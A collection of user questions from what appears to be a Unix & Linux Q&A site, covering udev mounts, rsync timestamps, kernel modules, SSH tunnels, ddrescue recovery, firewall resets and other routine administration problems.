I'm trying to set a particular USB drive to always mount read only. If I plug it in, it is seen as `sdb` with a single partition, `sdb1`. Here are some relevant `udevadm` lines (not the entire output of course):               $ udevadm info -a -n /dev/sdb1       looking at device '/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.4/2-1.4:1.0/host21/target21:0:0/21:0:0:0/block/sdb/sdb1':         KERNEL=="sdb1"         SUBSYSTEM=="block"         DRIVER==""         ATTR{ro}=="0"         ATTR{size}=="976768002"         ATTR{stat}=="     473    30586    33938     3460        5        0       40     1624        0     2268     5084"         ATTR{partition}=="1"      OK, so I wrote the following `udev` rule and saved it as `/etc/udev/rules.d/10-usbdisk.rules`:               SUBSYSTEM=="block",     ATTR{size}=="976768002",     MODE="0555"      According to this, using `size` should be enough but I have also tried other permutations. In any case, the rule does seem to be read (again, selected output lines, you can see the entire output here:               $ udevadm test $(udevadm info -q path -n /dev/sdb1) 2>&1     [...]     read rules file: /etc/udev/rules.d/10-usbdisk.rules     [...]     MODE 0555 /etc/udev/rules.d/10-usbdisk.rules:4      So, it _looks_ like the rule should be applied and it _looks_ like the `MODE="0555"` is the correct syntax. However, when I actually plug the disk in, I can happily create/delete files on it. OS: Debian testing (LMDE)   So, what am I doing wrong? How can I mount a particular USB drive as read only automatically **using udev** 1? 1 I know how to do this with fstab but fstab settings are ignored by gvfs. My objective is to have this mounted automatically as read only in the GUI. Presumably this will have to be done via udev or gvfs somehow.


Can't figure out which Cent OS to download

I'm not sure if this belongs here, but I really need help on which Cent OS version to download. There's some linux distros that I want to try, but none of the websites are as user friendly as Ubuntu =( Which one should I download from this list? http://mirror.rackspace.com/CentOS/6.3/isos/i386/


Convert .bdf/.pcf font to .psf(u) for using as consolefont?

I am using Arch Linux. Is it possible to convert a BDF or PCF font to a PSF font for use in console/CONSOLEFONT in rc.conf? I haven't found anything that can do it,except bdf2psf which I got the source but couldn't find out how to use it, the man page was very hard to understand. Thanks in advance for any help.


Which services should be disabled?

Following is the output of `$chkconfig | grep 5:on` on my laptop running Fedora 14.               NetworkManager  0:off   1:off   2:on    3:on    4:on    5:on    6:off     acpid           0:off   1:off   2:on    3:on    4:on    5:on    6:off     auditd          0:off   1:off   2:on    3:on    4:on    5:on    6:off     avahi-daemon    0:off   1:off   2:off   3:on    4:on    5:on    6:off     cpuspeed        0:off   1:on    2:on    3:on    4:on    5:on    6:off     haldaemon       0:off   1:off   2:off   3:on    4:on    5:on    6:off     ip6tables       0:off   1:off   2:on    3:on    4:on    5:on    6:off     iptables        0:off   1:off   2:on    3:on    4:on    5:on    6:off     irqbalance      0:off   1:off   2:off   3:on    4:on    5:on    6:off     lvm2-monitor    0:off   1:on    2:on    3:on    4:on    5:on    6:off     mdmonitor       0:off   1:off   2:on    3:on    4:on    5:on    6:off     messagebus      0:off   1:off   2:on    3:on    4:on    5:on    6:off     netfs           0:off   1:off   2:off   3:on    4:on    5:on    6:off     nfslock         0:off   1:off   2:off   3:on    4:on    5:on    6:off     rpcbind         0:off   1:off   2:on    3:on    4:on    5:on    6:off     rpcgssd         0:off   1:off   2:off   3:on    4:on    5:on    6:off     rpcidmapd       0:off   1:off   2:off   3:on    4:on    5:on    6:off     rsyslog         0:off   1:off   2:on    3:on    4:on    5:on    6:off     smolt           0:off   1:off   2:on    3:on    4:on    5:on    6:off     udev-post       0:off   1:on    2:on    3:on    4:on    5:on    6:off      I don't use NM for connecting to the Internet. So I think that should be stopped right away. Also I have ext4 filesystem so I assume lvm2-monitor can be safely turned off. My primary usage is surfing net and coding in Python (newbie though). Which services should I disable so that unnecessarily resources don't remain busy? Thanks.


Ubuntu 10.10 installed from windows 7: how to expand drive?

I'm new to Linux. I've installed Ubuntu 10.10 from Windows 7. It's not in Virtual PC, it is independent. It uses a virtual drive in `c:`, I have chosen it to be 10 Gb. Now I want to increase the size of this drive. How to do this? I've configured the system for PHP MySQL and installed a lot of software and fixed wireless connection problems a lot of things i don't want to loose these things and start troubling again. I heard of backups, but I think it will take too long. Is there any other simple and fast way?


Will I break debian etch if I install python-support 0.7.1 to it?

I try to install `s3cmd` into my debian etch, but the following error message comes up:               root@NAS-01G:~/src$ sudo apt-get install s3cmd     Reading package lists... Done     Building dependency tree... Done     Some packages could not be installed. This may mean that you have     requested an impossible situation or if you are using the unstable     distribution that some required packages have not yet been created     or been moved out of Incoming.          Since you only requested a single operation it is extremely likely that     the package is simply not installable and a bug report against     that package should be filed.     The following information may help to resolve the situation:          The following packages have unmet dependencies:       s3cmd: Depends: python-support (>= 0.7.1) but 0.5.6 is to be installed     E: Broken packages      I'm thinking of upgrade to `python-support 0.7.1`, will this break my system? Thanks.


How to run jgrasp on ubuntu?

I have problems with jgrasp. I get the following error message when I run it. > ----jGRASP exec: javac -g R.java ----jGRASP wedge: could not execute javac > ---- error number 2. ---- ---- Target does not exist or is not on PATH. ---- > ---- ---- PATH is ":/usr/lib/jvm/java-6-openjdk- > amd64/bin:/usr/lib/lightdm/lightdm:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games". > > ----jGRASP: operation complete. what should i do please help


rsync and backup and changing timezone

I back up my pictures from my camera using rsync, using:                rsync -vzrtl --progress --stats --timeout=0 host destination      Now I was in a different timezone when I did my first backup then I moved to a different timezone and I changed it on my laptop (I use ubuntu 10.04.4). Today I was backing up my pictures and I found that the timestamp were different (I mean the timestamps you can see with 'ls -lt'), so rsync would copy the whole directory (I always run rsync with the option -n first to know the list of files it would transfer). Now this is just stupid, because the files are actually the same. So I changed back to the previous timezone, in fact the file timestamps changed to the same on my camera - this I find weird somehow. I run rsync again and the files are still different :@ Now, I don't want to copy the files again, this would be stupid, can you suggest a clean solution? How can I prevent this in the future? why the files are still different, if I changed to the previous timezone? * * * I found that the access and change time are different for the files, using stat. For example: on host                  File: `DSC00003.JPG'        Size: 3068392    Blocks: 6016       IO Block: 32768  regular file      Device: 821h/2081d Inode: 2109        Links: 1      Access: (0755/-rwxr-xr-x)  Uid: ( 1000/simona)   Gid: ( 1000/simona)      Access: 2013-03-26 00:00:00.000000000 +0000       Modify: 2007-12-25 22:48:20.000000000 +0000      Change: 2007-12-25 22:48:20.000000000 +0000      and on the destination                  File: `DSC00003.JPG'        Size: 3068392    Blocks: 6008       IO Block: 4096   regular file      Device: 802h/2050d Inode: 245762      Links: 1      Access: (0755/-rwxr-xr-x)  Uid: ( 1000/simona)   Gid: ( 1000/simona)      Access: 2013-03-26 10:24:49.000000000 +0000      Modify: 2007-12-25 22:48:20.000000000 +0000      Change: 2013-02-09 00:11:09.000000000 +0000      Is there a way to prevent rsync to overwrite pictures that have been modified more recently on the destination?


How to set jsse.enableSNIExtension to false when running Java programs?

I am trying to set the Java system property `jsse.enableSNIExtension` to `false`, but when I try running this `java` just outputs help information:               java -Djsse.enableSNIExtension=false       What am I doing wrong?


Compiling a simple character device driver as a module

I wrote a simple character device driver & wanted to cross-compile it for craneboard (ARM architecture). My file name is `gDev.c`. I copied the file to `kernel/drivers/char` directory in craneboard source. I modified the `Kconfig` file in that same directory & added the following lines to it.               config TEST_GCHARD         tristate "My Character driver"         default m      I added the following line to the Makefile in the same directory.               obj-$(CONFIG_TEST_GCHARD)   += gDev.o      I added the following line in the `am3517_crane_defconfig` in `arch/arm/configs` directory.               CONFIG_TEST_GCHARD=m      My problem is, when I set it as `m` in `am3517_crane_defconfig`, the file is not getting included for compilation. But, if I change it as `y`, it is getting compiled. But, I need it to be a module which I must `insmod` after board boots up. Please guide me whether I'm missing any steps.


Desktop appears as a terminal when viewed via VNCserver client

I have installed vnc server on a RHEL 6.5 machine using the following commands:               yum -y install tigervnc-server xorg-x11-fonts-Type1      and have made the changes to the `/etc/sysconfig/vncservers` file to add the user and set the password and adjusted the resolution. When I try to access the server via vnc client I am seeing something like this (NOT THE ORIGINAL IMAGE but a look alike) instead of the desktop: ![the desktop via vnc client](http://i.stack.imgur.com/TgSeX.png) I found an other issue which is relevant to the same issue, Why VNC not showing actual Remote Desktop, but was unable to understand from it how I can make it work on a RHEL 6.4 machine. Here is the snapshot of `/.vnc/xstartup`: ![](http://i.stack.imgur.com/uVNSC.png) ![](http://i.stack.imgur.com/6Wnd2.png)


SSH: "Connection closed by remote host" randomly while working on an interactive session

I am working on a remote server, on which I do numerical simulation using the OpenFOAM computational fluid dynamics library. I built a collection of Python scripts to automate my parametric studies and they seem to be working well. I connect to the server using SSH, and I launch the scripts in an interactive shell. Sometimes, under conditions I'm still unable to identify, the server closes the SSH session. I currently use the `screen` window manager as a workaround, but still seems like an issue to me. Here is an exemple of output I get:               <lots of output before that>     Dumping up_half1 faces to "final_up_half1.obj"     Dumping cyclic match as lines between face centres to "final_up_half0up_half1_match.obj"     Writing repatched mesh to 0          End          Killing PID 32536     Connection to hpc4 closed by remote host.     Connection to hpc4 closed.     ➜  ~      Please note that the simulation is not completed: after the termination of the application which print `End` on screen, another one should start and perform some treatments. So here's the question: What could be the cause of such disconnections?


Why did dd create a different uuid?

root@debian:/home/tiger# dd  if=/dev/sda  of=/dev/sdb  bs=10240k     11447+1 records in     11447+1 records out     120034123776 bytes (120 GB) copied, 4729.59 s, 25.4 MB/s     root@debian:/home/tiger# blkid     /dev/sda1: UUID="54AF-15B1" TYPE="vfat"      /dev/sda2: UUID="28D02E2FD02E03A2" TYPE="ntfs"      /dev/sda5: UUID="a3464de4-5676-4ae3-b37a-a1f40708d5ec" TYPE="swap"      /dev/sda6: UUID="8b29114c-4f89-4c96-b0c0-579ce58c7345" TYPE="ext3"      /dev/sdb1: UUID="54AF-15B1" TYPE="vfat"      /dev/sdb2: UUID="28D02E2FD02E03A2" TYPE="ntfs"      /dev/sdb5: UUID="a3464de4-5676-4ae3-b37a-a1f40708d5ec" TYPE="swap"      /dev/sdb6: UUID="d38e60d8-6bfe-49f9-a381-d89b3b9bbb7f" SEC_TYPE="ext2" TYPE="ext3"       Why doesn't `/dev/sda6`'s uuid equal `/dev/sdb6`'s? * * * **Edit** , answering questions from comments:   1. sda and sdb are same size disk   2. The output of `blkid -p` is:              root@debian:/home/tiger# blkid -p /dev/sda6       /dev/sda6: UUID="8b29114c-4f89-4c96-b0c0-579ce58c7345" VERSION="1.0" TYPE="ext3" USAGE="filesystem"


Synaptics two-finger-tap right-click happens on non-tap

Pardon the horrendous title, I'm not exactly sure how to summarize the issue I'm having. Basically, I have synaptics, and I right-click by tapping two fingers on the touchpad because my touchpad doesn't have any buttons. This is great, but I get all sorts of extra right-clicks because unlike left-clicking (tapping with a single finger), the right-click doesn't require the contact to be brief. Left-click (single-finger) requires the tap to be a tap, i.e. if I put a finger on the touchpad, leave it there for a moment, and then raise it, it is _not_ a click. That's great. Right-click (double-finger) does not require a tap, i.e. if I put two fingers on the touchpad, leave them there for a moment, and then raise them, it _is_ a right click, thrown when my fingers leave the touchpad. This is a problem. It's especially annoying because I use two-finger scroll, so I get random right-click events if I didn't scroll enough, or was going to scroll then decided not to, etc. How could I go about fixing this?


Recursive wget eventually starts failing with "Unable to resolve host" / "Temporary failure in name resolution"

When recursively `wget`-ting a fairly large site, after downloading 18 MB or so, `wget` starts complaining "Unable to resolve host" and/or "Temporary failure in name resolution", even though I can look up the host just fine with `host` or `dig`. On the advice of various fora, I tried:   1. commenting out the `hosts` line in `/etc/nsswitch.conf`   2. replacing potentially dodgy nameservers in `/etc/resolv.conf` with Google's `8.8.8.8` and `8.8.4.4`   3. explicitly adding the name to `/etc/hosts` It doesn't seem to matter whether or not I set `\--no-dns-cache` in the `wget` command line; the same thing happens. I can't tell if `wget` is eventually going to finish, or if it's going to stay stuck in this state. It'd be nice if it finished, since I need it to `\--convert-links`. I'm running `wget` 1.11 (compiled from source, because 1.12 and later have broken the behavior of `\--no-clobber` with `\--convert-links`, at least for my purposes) on a Linux Mint 14 system. What causes this? Is there a way to fix it?


In Unix speak what is the difference between a shell script and an executable?

I have seen this question on this site and this prompted me to ask this question . I want to know in Unix speak what is the difference between an executable and a shell script ?


Mutt scripting: interactive dialog macro using `dialog`

I would like to do the following:   * Press a macro combination   * Enter a script of my own making (Python) which has user interaction (think: UNIX `dialog` utility for shell scripts)   * Do some processing based on the dialog response   * Run some _other_ `mutt` macro based on the dialog response (e.g. if X, do Y; else do Z) Is this possible?


SFTP with Mysql user pass instead of PAM

Is there a way for people to log onto a debian server via sftp using just mysql database table as authentaction. IE not adding a user to the system? I know it can be done over ftp and TLS but i really dont want to use that method Thanks


Change size of system console as user

At uni, I'm using a terminal to log into a text console of some unix server. As the monitors are 17" and the console is displayed full screen, it's a bit annoying to look at the screen with the default column and row size. Is it possible, as a user, to change the size of the console, either by increasing the number of rows & columns or by even decreasing the used resolution if the monitor (i.e. adding an unused border around it)?


what is the difference between X11 and Xlib?

I am not sure if I have got it right. Xlib is a library to interact with X server. X11 is just another name for X server. Is X server just a single library? if so, why we can't access it directly? why we need Xlib? Thanks in advance


Why can't I run GUI apps from 'root': "No protocol specified"?

I installed debian onto my machine last night. Now, I don't understand why I can't run GUI apps from a terminal when running as root. For example:               sudo -i     glxgears      Generates the following output:               No protocol specified     Error: couldn't open display :0      But when I first open the terminal I can run `glxgears` from the user account. Its only after I do `sudo -i` that the problem crops up. This happens for any GUI app that I try to run. I think its probably related to X11, but I'm not sure.


Best usb boot drives for Linux?

I am looking for a buyer's guide on usb boot drives that will be used for booting Linux distros. Specifically, I have the following concerns:   * Should I opt for USB 2.0 or 3.0?   * Are there size limitations, like 2GB vs 8GB vs 16GB?   * Are there specific brands to favor or avoid? (ie formatting issues)   * Does the physical style have any affect? Any other considerations are more than welcome. I have been considering the Kingston Digital DataTraveler SE9 16GB USB 2.0 in particular. I will likely be using UNetbootin to add the distros. This will be used to explore new distros and portable booting.


Does named pipe modify the filesystem?

As title. If I create a named pipe and then read/write on it, is the filesystem where the named pipe resides affected? I.e. is the data buffered on the filesystem until read, or does it reside in memory only?


.forward file username and folder separator

I found (I'm learning how e-mail works) a `.forward` file in a user home folder; emails should be forwarded to mailboxes of other users. Email addresses are written in `user+folder` addressing notation, but instead of a `+` sign I found `-` sign; if I would like forward a spam message to Spam folder of a `user` I would write `user+Spam@domain.com`, but I found `user- Spam@domain.com`. The file contains email addresses in form: This is an email server using Postfix.               user1-folder@domain.com`      user2-folder@domain.com       userN-folder@domain.com      Is there any difference?


Can't boot after installing FreeBSD in VMware Workstation

I'm trying to install FreeBSD 9.1-i386 in VMware Workstation. I'm following the guide in the manual on freebsd.org to do this. When I come to the partitioning part I use the guided setting and it looks as following: ![enter image description here](http://i.stack.imgur.com/y1pYv.png) After this I commit the changes and it passes all the checksums. After this it reboots, I don't know if this is normal behavior or not but I think so. Anyway, when it tries to boot I get the error below. I tried to solve it based on something I found online but it didn't work: ![enter image description here](http://i.stack.imgur.com/bp5Xy.png)


CentOS restore firewall after `service iptables panic`

My friend and I were doing some firewall configurations and in the meanwhile he thought it was a good idea to type `service iptables panic`. Now we cannot put the firewall back on the original state (default). It blocks all connections. We have tried everything:               iptables -F service      iptables save service      iptables stop service      iptables start etc....      What can we do to restore original and clean firewall configurations?


Interrupt process in samba share mounted folder breaks mount

I can successfully mount a Samba share on a local folder in Opensuse 12.1:               sudo mount -t cifs -o username=<username>,password=<password> //<win-box>/<share> <mountpoint>      The problem comes if i interrupt (`^C`) for example a long `cp` process in `<mountpoint>`: I get               > cp -r BIG_FOLDER/ /tmp     ^C     > ls     ls: reading directory .: Permission denied      The only solution I found is to `sudo umount <mountpoint>` then mount again. Any advice is welcome!


ssh tunnel on ssh tunnel between Windows and two Linux machines

I have the following configuration and want to establish a tunnel on a tunnel. I read already the following topic: How to put a tunnel in a tunnel? My configuration:               Notebook --> Linux Server A --> Linux Server B      Notebook: Windows XP with putty   Linux Server A and B: Ubuntu 10.10 I have a ssh connection with a tunnel from my notebook via putty to Server A. Now I want to establish a tunnel from Server A to B, so that I can connect with an IDE directly to my jboss on Server B. This is the command I tried on Server A to establish a tunnel:               ssh -t -L 8080:localhost:8080 Server B -p 8822      This won't work. Anybody an idea how to establish a working tunnel?


How to enable SSD TRIM support on Fedora 17?

I used to install Linux on HDD. It's easy. But now I have a SSD, and I want to install Fedora 17 on it. What should I do to make Fedora 17 issue TRIM commands to the SSD?


Live-migration of a SLES9 DomU?

With SLES9 SP4 we managed to set up a XEN PV DomU. We are using SLES10 SP4 as Dom0 and DRBD 8 as disc-backed: a drbd-device corresponds to xvda in the DomU. The DomU uses the xenblk and xennet drivers, so everything seems ok. We applied the last patches (EoL of SLES9 SP4 was on 31th of August). After live-migration to another Dom0 the DomU seems to crash. No reaction to SYSRQ, nothing on the console. DRBD switches from one side (primary) to the other, so the disk-backend does not seem to be a problem here. With CentOS 4/5, SLES 10/11 DomUs we never had an issue with live-migration. Even W2K3 works. After destroy/create of the DomU it comes up without problems, last-log shows a "crash" entry. Any hints are welcome...


VLC surround to stereo problem

I noticed a problem with certain video files where speech volume component is just too low. I googled a bit and it seems that the problem is that it tries to play surround sound on stereo speakers and it fails to blend everything in as it should. If I play the same video in mplayer, everything is normal. Does anyone else have the same problem? Anyone know how to fix this? I tried changing the output module in vlc audio settings, but the problem would remain no matter what I chose. Thanks. Version of VLC that I am using is 1.1.12 on Arch-Linux (KDE 4.7.2).   If you any additional info is needed, I will provide it.


Display Non-Zero Return Status in PS1

I want to include the return status in my prompt. (Easy add `'$? '`, right?) However, I only want the status returned (and trailing space) if non-zero. Example:               sd ~ $ false     1 sd ~ $ true     sd ~ $


Getting or cloning the users current terminal?

I have to work with a script that forks and launches an instance of xterm in order to display log output in one window and have an interactive interface in the other. Personally I prefer rxvt-unicode and I would like to modify this script so that it is no longer hardcoded to use xterm. Is it possible to either figure out the users preferred terminal in a desktop- agnostic way or to get the parent terminal. The parent terminal might not be the next parent in the process tree since it's possible that the script in question can in term be called by another script or application. Since the script is written in Perl a solution written in Perl is good enough as long as it doesn't have weird dependencies (I can't control the global environment).


possible to load kernel module that "disagrees about version of symbol"

I downloaded the sources for my kernel, applied a patch and rebuilt it and now I have a kernel module that, when I try to `insmod`, complains "Unknown symbol in module" with `dmesg` giving the error "disagrees about the version of symbol ...". Without having to hunt down the source for this module and rebuild it against my kernel is it possible to somehow force the kernel to accept this module? I realise this would be dangerous but I'll to take the risk if its possible.


How to install Kali Linux without CD and flash drive?

I have download Kali Linux. But the size is too large for my flash drive, my flash drive is 1.8gb and the Kali Linux iso is 2.3gb. I use an Asus eeepc 1215p which has no CD/DVD drive. My machine was installed with Ubuntu 12.04, and I've an empty partition. I want to install Kali Linux onto that partition, but I don't understand how? Can anyone here tell me how to install Kali Linux without a CD/DVD drive and flash drive ? I heard about poor man, I was searching for it, but I only found a lot for PCLinux OS.


How to tell yum that a package is installed when it thinks it isn't?

I accidentally deleted all my RPM data (I removed `/var/lib/rpm/*` instead of `/var/lib/rpm/__*`), and then ran `rpm --rebuilddb`. Now when I try to run `yum update` I get:               Could not parse metalink https://mirrors.fedoraproject.org     /metalink?repo=fedora-$releasever&arch=i386 error was     No repomd file     Error: File /var/cache/yum/i386/$releasever/fedora/metalink.xml does      not exist      I found that I don't even have the `/var/cache/yum/i386` folder anymore after the previous operation. I downloaded the fedora-release RPM of Fedora 18 and locally installed and rebuilt my yum cache (is that what i did?):               rpm -Uvh --replacefiles --replacepkgs /$MYPATH_TO_Fedorareles/fedorarelease-18-0.8.noarch.rpm      This made a new rpmdb where only one package is installed: `fedora-release`. Since yum thinks that's the only package installed, if I try to install anything it resolves the dependencies and queues lots of packages for install that I actually already have installed. How do I make yum aware of all the packages that are already installed? I don't want to reinstall anything, and I don't want to download 500MB of RPMs.


How is the loopback device traffic allowed?

How can I allow the traffic to be sent on the loopback device (lo)? What is the iptables command for it?


Search for specified keywords in files and copy to a new filename based on the keyword

I'm trying to create an .sh script where if any keyword is found in a file then copy that file to the directory `/pathtofolder/keywords/$thefirstkeywordfound` (overwrite the file if it already exists). Any help would be appreciated with the copy code ( `cp -rf filename /pathtofolder/keywords/$thefirstkeywordfound` ) which is incorrect. It probably also needs a line of code to exclude the path it copies to (/pathtofolder/keywords/) Note that I want to copy the file into a directory called `/pathtofolder/keywords/$keyword`, creating it if necessary.


How can I disable IPv6 in custom built embedded setup

I have an embedded system built using buildroot. I have had a number of network issues, one of which is that my machine cannot see its gateway despite it being on the same subnet. I have tried using wireshark to analyse what is going on without success so as a last resort, I am considering trying to turn off support for IPv6 as I do not need it (my device doesn't need DNS or anything similar, simply needs to be able to communicate with other local machines on its subnet). I have read that I can turn off IPv6 by editing `/etc/modprobe.conf` but this file does not exist on my setup. Is there anything else I can do to disable IPv6 or is the only option to build the kernel from scratch without IPv6 support?


Color coding html color sequeces in vim

It it possible to setup syntax highlighting in vim so that a html color sequence is colored in that color, e.g. #FF0000 would show up as red. I'd also be ok with it underlining the text that color like Visual Studio does. So basically I'd be looking for the pattern `\\#([0-9a-fA-F]{3}){1,2}` and then want to get the color for that and make that text that color.


How to estimate loops/time for completion of GNU ddrescue (1.18.1) using current status?

## Background/Context: I am currently running GNU ddrescue 1.18.1 to recover data from a USB that experienced a cable disconnect while I was writing a virtual disk image onto the disk2s1 partition. Initially I am recovering my second partition (disk2s2) and notice that I have reached the third phase (Splitting). I am placing the image onto a network storage. **Question:** I have noticed that this phase loops. Is there a way to calculate the number of loops I am likely to experience, given my current status information (I am only showing two errors)? **Status:** ![status](http://i.stack.imgur.com/bFdJg.png) **Update/Edit:** So I am still very much interested in how one might estimate the loops/time for completion using the ddrescue tool. Per the comments, I am adding an evaluation of a log file for my disk2s1 partition as that is currently running (the disk2s2 has completed after 14.5 hours, with one user interruption for about 6 hours). ![part1-log](http://i.stack.imgur.com/F7zNu.png) **Completed Partition Log** For the partition which just completed, here is the result of the log inspection. ![photo-log](http://i.stack.imgur.com/2jYiB.png) **Reference (ddrescue algorithm notes):** 4 Algorithm * * * GNU ddrescue is not a derivative of dd, nor is related to dd in any way except in that both can be used for copying data from one device to another. The key difference is that ddrescue uses a sophisticated algorithm to copy data from failing drives causing them as little additional damage as possible. Ddrescue manages efficiently the status of the rescue in progress and tries to rescue the good parts first, scheduling reads inside bad (or slow) areas for later. This maximizes the amount of data that can be finally recovered from a failing drive. The standard dd utility can be used to save data from a failing drive, but it reads the data sequentially, which may wear out the drive without rescuing anything if the errors are at the beginning of the drive. Other programs read the data sequentially but switch to small size reads when they find errors. This is a bad idea because it means spending more time at error areas, damaging the surface, the heads and the drive mechanics, instead of getting out of them as fast as possible. This behavior reduces the chances of rescuing the remaining good data. The algorithm of ddrescue is as follows (the user may interrupt the process at any point, but be aware that a bad drive can block ddrescue for a long time until the kernel gives up): 1) Optionally read a logfile describing the status of a multi-part or previously interrupted rescue. If no logfile is specified or is empty or does not exist, mark all the rescue domain as non-tried. 2) (First phase; Copying) Read the non-tried parts of the input file, marking the failed blocks as non-trimmed and skipping beyond them. Skip also beyond slow areas. The skipped areas are tried later in two additional passes (before trimming), reversing the direction after each pass until all the rescue domain is tried. The third pass is a sweeping pass, with skipping disabled. (The purpose is to delimit large errors fast, keep the logfile small, and produce good starting points for trimming). Only non-tried areas are read in large blocks. Trimming, splitting and retrying are done sector by sector. Each sector is tried at most two times; the first in this step (usually as part of a large block read, but sometimes as a single sector read), the second in one of the steps below as a single sector read. 3) (Second phase; Trimming) Read forwards one sector at a time from the leading edge of the smallest non-trimmed block, until a bad sector is found. Then read backwards one sector at a time from the trailing edge of the same block, until a bad sector is found. For each non-trimmed block, mark the bad sectors found as bad-sector and mark the rest of that block as non-split without trying to read it. Repeat until there are no more non-trimmed blocks. (Large non-trimmed blocks are produced by concatenation of smaller ones, and its fraction of good data at the edges is therefore smaller). 4) (Third phase; Splitting) Read forwards one sector at a time from the center of the largest non-split block, until a bad sector is found. Then, if the bad sector found is not the first one tried, read backwards one sector at a time from the center of the same block, until a bad sector is found. If the logfile is larger than '--logfile-size', read sequentially the largest non-split blocks until the number of entries in the logfile drops below '--logfile- size'. Repeat until all remaining non-split blocks have less than 7 sectors. Then read the remaining non-split blocks sequentially. 5) (Fourth phase; Retrying) Optionally try to read again the bad sectors until the specified number of retry passes is reached. Every bad sector is tried only once in each pass. Ddrescue can't know if a bad sector is unrecoverable or if it will be eventually read after some retries. 6) Optionally write a logfile for later use. The total error size ('errsize') is sum of the sizes of all the non-trimmed, non-split and bad-sector blocks. It increases during the copying phase and may decrease during trimming, splitting and retrying. Note that as ddrescue splits the failed blocks, making them smaller, the total error size may decrease while the number of errors increases. The logfile is periodically saved to disc, as well as when ddrescue finishes or is interrupted. So in case of a crash you can resume the rescue with little recopying. The interval between saves varies from 30 seconds to 5 minutes depending on logfile size (larger logfiles are saved at longer intervals). Also, the same logfile can be used for multiple commands that copy different areas of the input file, and for multiple recovery attempts over different subsets. See this example: Rescue the most important part of the disc first. ddrescue -i0 -s50MiB /dev/hdc hdimage logfile ddrescue -i0 -s1MiB -d -r3 /dev/hdc hdimage logfile Then rescue some key disc areas. ddrescue -i30GiB -s10GiB /dev/hdc hdimage logfile ddrescue -i230GiB -s5GiB /dev/hdc hdimage logfile Now rescue the rest (does not recopy what is already done). ddrescue /dev/hdc hdimage logfile ddrescue -d -r3 /dev/hdc hdimage logfile


Is it possible to create a file with the privileges of other users?

I am a user of the root account on the server named A. And I also own the accounts of user1 and user2. When I create a file or directory in the account of user1, I want the owner of the file to be user2. Setting the group is possible by using the setuid (http://stackoverflow.com/questions/580584/setting-default-permissions-for- newly-created-files-and-sub-directories-under-a) For the user account, is there any way? Example. Make file - traditional way:               [user1@srv1 tmp]$ id     uid=4001(user1) gid=4001(user1) groups=4001(user1)          [user1@srv1 tmp]$ touch test_user1          [user1@srv1 tmp]$ ls -al test_user1     -rw-rw-r-- 1 user1 user1 0 2014-01-09 15:24 test_user1      Example. Make file - what I want:               [user1@srv1 tmp]$ id     uid=4001(user1) gid=4001(user1) groups=4001(user1)          [user1@srv1 tmp]$ touch test_user1          [user1@srv1 tmp]$ ls -al test_user1     -rw-rw-r-- 1 user2 user1 0 2014-01-09 15:24 test_user1      I **do not** wish to have to change the permissions of the file using the `chown` command.


Rmmod module reappeared after plugging back device

I have an arduino that talks to my computer through the serial-usb driver ftdi. I want to use my own module instead when I plug my arduino. I did :   * `sudo rmmod usbserial`   * `sudo rmmod ftdi_sio`   * I wrote a driver that does nothing but logs "init/probe/exit"   * `lsmod` shows my driver and doesnt show usbserial/ftdi_sio   * `sudo depmod -a`   * I plug my arduino   * `lsmod` shows usbserial/ftdi_sio And instead of seeing my logs in dmesg I see that usbserial and ftdi_sio were instanciated. What should I do do override that ? P.S code :               static struct usb_device_id id_table [] = {        { USB_DEVICE(VENDOR_ID, PRODUCT_ID) },       { },     };     MODULE_DEVICE_TABLE (usb, id_table);     ...     static struct usb_driver arduino_driver = {        .name =   "thomasftdi",       .probe =  arduino_probe,       .disconnect = arduino_disconnect,       .id_table = id_table,     };     init...probe...      I didn't use modalias in the code nor in commands, should I add it somewhere to register the module ?


FPATH in zsh: functions and site-functions

I noticed I have the following line near the beginning of my `.zshrc` file:               export FPATH=/usr/share/zsh/site-functions:/usr/share/zsh/4.2.6/functions:$FPATH        I can't remember if I typed this myself or if this line was automatically generated by `zsh-newuser-install`. Is it assumed that the user types those paths in `FPATH` in a startup file? What's the difference between `functions` and `site-functions`?


Can I launch a process as root without launching root's login shell?

I tried to change the login shell. Here's what the first line of `/etc/passwd` looks like (on a Debian Wheezy install):               rootx:0:0:root:/root:/:zsh      When I try to login as `root`:               Cannot execute zsh: No such file or directory      I know `zsh` is available:               $ which zsh     /usr/bin/zsh      Okay, it seems logical to replace `zsh` by its full path. But how can I do it? I have one other user on the system (`user`), however it doesn't have root privileges and `sudo` is not installed on the system. Assume that for whatever reason (encryption, physical access, ...) I cannot boot on a live CD to modify the file. I do know, however, the credentials for the `root` account. My question is: Is there any way, even programatically, to launch a process with the `root` account without launching its login shell first?


Lowering kernel timer interrupt frequency

When I run my Virtual Machine with Gentoo as guest, I have found that there is considerable overhead coming from tick_periodic function.( this is the function which runs on every timer interrupt).This function updates a global jiffy using write_seqlocks which leads to the overhead. Here's a grep of HZ and relevant stuff in my config file.               sharan013@sitmac4:~$ cat /boot/config | egrep 'HZ|TIME'     # CONFIG_RCU_FAST_NO_HZ is not set     CONFIG_NO_HZ=y     # CONFIG_HZ_100 is not set     # CONFIG_HZ_250 is not set     # CONFIG_HZ_300 is not set     CONFIG_HZ_1000=y     CONFIG_HZ=1000     # CONFIG_MACHZ_WDT is not set     CONFIG_TIMERFD=y     CONFIG_HIGH_RES_TIMERS=y     CONFIG_X86_CYCLONE_TIMER=y     CONFIG_HPET_TIMER=y      Clearly it has set the configuration to 1000, but when I do `sysconf(_SC_CLK_TCK)` I get 100 as my timer frequency.So what is my systems timer frequency? What I want to do is to bring the frequency down to 100,even lower if possible.Although it might effect the interactivity and precision of poll/select and schedulers time slice, I am ready to sacrifice these things for lesser timer interrupt as it will speed up VM.   when I tried to find out what has to be done I read in some place that you can do so by changing in the configuration file, else where I read that adding divider=10 to the boot parameter does the job , else where I read that none of it is needed if you can set the `(CONFIG_HIGH_RES_TIMERS)` to acheive low- latency timers even without increasing the timer frequency and the same is possible with a tickless system `CONFIG_NO_HZ`.   I am extermely confused about what is the right approach.   All I want is to bring down the timer interrupt to as low as possible.   Can I know the right way of doing this ? Thanks, Sharan


How to change yum's default downloader

By default `yum` uses `curl` to download packages from internet repositories. I want use `axel` instead of `curl` to download packages: is it possible?


How to move all files with a certain file extension from subdirectories to a single directory

I have a directory that contains many subdirectories. The subdirectories contain lots of types of files with different file extensions. I want to move (not copy) all the files of one type into a new directory. I need all these files to be in the same directory, i.e. it needs to be flat. (My use case is that I want to move ebooks called *.epub from many directories into a single folder that an EPUB reader can find.)


Arch wifi keeps dropping

